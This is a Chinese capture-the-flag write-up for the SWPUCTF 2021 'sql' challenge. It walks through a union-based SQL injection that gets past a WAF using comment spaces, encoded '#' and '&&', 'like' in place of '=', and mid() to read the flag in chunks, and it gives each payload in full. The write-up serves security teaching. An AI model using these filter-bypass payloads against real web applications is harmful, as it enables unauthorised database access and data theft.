[SWPUCTF 2021 新生赛]sql

[SWPUCTF 2021 新生赛]sql wp

输入 1 正常回显:
复制代码
?wllm=1
返回:
Want Me? Cross the Waf
Your Login name:xxx
Your Password:yyy
输入单引号引发报错:
复制代码
?wllm=1'
返回:
Want Me? Cross the Waf
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
group by 测试回显行数:
复制代码
1' group by 3#

触发了 waf :

可能是过滤了空格,也可能是 group by 关键字,还可能是注释符。一个一个测:

输入: ?wllm=1 1 ,触发 waf ,说明空格被过滤,使用 /**/ 替换空格: ?wllm=1/**/1 ,成功回显。

除此之外常被用来替换空格的还有:

复制代码
%20
%09
%0A(%0a)
%0C(%0c)
%0D(%0d)
%0B(%ob)
%A0(%a0)

输入:?wllm=group/**/by ,正常回显,说明该关键字没有被过滤。

使用 /**/ 替换空格,再次用 group by 测试列数:

输入:

复制代码
?wllm=1'/**/group/**/by/**/2#

引发报错:

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' LIMIT 0,1' at line 1

说明 # 被过滤,尝试其他注释符:----+ ,%23(#的URL编码)。最后只有 %23 可以用:

复制代码
?wllm=1'/**/group/**/by/**/2%23

经过测试,共有 3 列。

select 查询回显位

由于开头的 1 会干扰回显,所以这里去掉1(或者换成负数也行):

复制代码
?wllm='/**/union/**/select/**/1,2,3%23

经过测试,回显位为后两位。

select 查询数据库
复制代码
?wllm='/**/union/**/select/**/1,2,database()%23

数据库名称为:test_db

select 查询表名:
复制代码
?wllm='/**/union/**/select/**/1,2,table_name/**/from/**/information_schema.tables/**/where/**/table_schema=test_db%23

但是触发了 waf ,一开始我以为是 information_schema 被过滤了,经过测试,是等号被过滤了。

用 like 关键字可以替换等号,比如:table_schema=ctf 可以写成 table_schema like 'ctf'

用 like 替换等号查询表名:
复制代码
?wllm='/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'test_db'%23

成功回显,LTLT_flag 就是要找的表名。

select 查询列名:
复制代码
?wllm='/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/'test_db'/**/and/**/table_name/**/like/**/'LTLT_flag'%23

但是被 waf 了,猜测是 and 出问题了。尝试了大小写,&& 替换 and 都不行,最后用 %26%26 成功绕过。

%26 就是 & 的 URL 编码。

用 %26%26 替换 and 查询列名:
复制代码
?wllm='/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/'test_db'/**/%26%26/**/table_name/**/like/**/'LTLT_flag'%23

成功回显:

select 查询 flag 列的内容:
复制代码
?wllm='/**/union/**/select/**/1,2,flag/**/from/**/LTLT_flag%23

出来了但没完全出来:

这里看了下大佬的 wp ,substr,substring 都被过滤了,说用 mid 函数分段读取。

mid 函数分段读取 flag :

读取第一段:

复制代码
?wllm='/**/union/**/select/**/1,2,mid(flag,1,20)/**/from/**/LTLT_flag%23

读取第二段:

复制代码
?wllm='/**/union/**/select/**/1,2,mid(flag,21,40)/**/from/**/LTLT_flag%23

读取第三段:

复制代码
?wllm='/**/union/**/select/**/1,2,mid(flag,41,60)/**/from/**/LTLT_flag%23

经过拼接,得到了一个完整的 flag 。

相关推荐
独行soc5 小时前
#渗透测试#批量漏洞挖掘#HSC Mailinspector 任意文件读取漏洞(CVE-2024-34470)
linux·科技·安全·网络安全·面试·渗透测试
JAVA学习通5 小时前
Mybatis--动态SQL
sql·tomcat·mybatis
Whoisshutiao7 小时前
网安-XSS-pikachu
前端·安全·网络安全
m0_623955669 小时前
Oracle使用SQL一次性向表中插入多行数据
数据库·sql·oracle
jnrjian12 小时前
Oracle RAC环境 加错数据文件 的修复 归档非归档都没问题
sql·oracle
薄荷椰果抹茶16 小时前
【网络安全基础】第六章---Web安全需求
安全·web安全
亚马逊云开发者17 小时前
全景解读亚马逊云科技的 GenBI 解决方案:三大路径助力企业智能决策升级
sql·llm
游戏开发爱好者81 天前
iOS重构期调试实战:架构升级中的性能与数据保障策略
websocket·网络协议·tcp/ip·http·网络安全·https·udp
HumanRisk1 天前
降低网络安全中的人为风险:以人为本的路径
网络·安全·web安全
安全系统学习1 天前
系统安全之大模型案例分析
前端·安全·web安全·网络安全·xss